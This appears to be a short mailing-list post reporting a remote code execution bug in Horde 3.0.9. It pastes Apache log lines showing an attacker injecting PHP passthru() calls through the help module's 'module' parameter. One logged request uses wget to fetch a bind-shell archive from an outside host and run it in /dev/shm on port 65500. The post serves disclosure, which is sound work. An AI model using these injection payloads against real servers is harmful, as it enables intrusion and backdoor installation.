[horde] NICE FEATURE

[Victor]

Hello,

Today I have little problem with Horde 3.0.9. One beaultifull Linux Command
Line Xploit ¬¬
Look at apache log:
213.246.43.202 - - [14/Apr/2006:02:31:36 -0500] "GET
//horde//services/help/?show=about&module=;%22.passthru(%22w%22);'.
HTTP/1.1" 200 7515
213.246.43.202 - - [14/Apr/2006:02:31:40 -0500] "GET
//horde//services/help/?show=about&module=;%22.passthru(%22uname%20-a%22);'.
HTTP/1.1" 200 7477
213.246.43.202 - - [14/Apr/2006:02:31:41 -0500] "GET
//horde//services/help/?show=about&module=;%22.passthru(%22id%22);'.
HTTP/1.1" 200 7458
213.246.43.202 - - [14/Apr/2006:02:31:46 -0500] "GET
//horde//services/help/?show=about&module=;%22.passthru(%22cd%20%22.chr(47).
%22dev%22.chr(47).%22shm;wget%20oricare.xhost.ro%22.chr(47).%22www%22.chr(47
).%22bind.tgz;tar%20-zxvf%20bind.tgz;rm%20-rf%20bind.tgz;cd%20%22.chr(47).%2
2dev%22.chr(47).%22shm%22.chr(47).%22port;.%22.chr(47).%2265500%22);'.
HTTP/1.1" 200 7461
213.246.43.202 - - [14/Apr/2006:02:31:48 -0500] "GET
//horde//services/help/?show=about&module=;%22.passthru(%22%22);'. HTTP/1.1"
200 7375
213.246.43.202 - - [14/Apr/2006:02:32:07 -0500] "GET
//horde//services/help/?show=about&module=;%22.passthru(%22%22.chr(47).%22sb
in%22.chr(47).%22ifconfig%20-a%20%7Cgrep%20inet%22);'. HTTP/1.1" 200 7888

Please verify this SERIOUS BUG !


Thanks.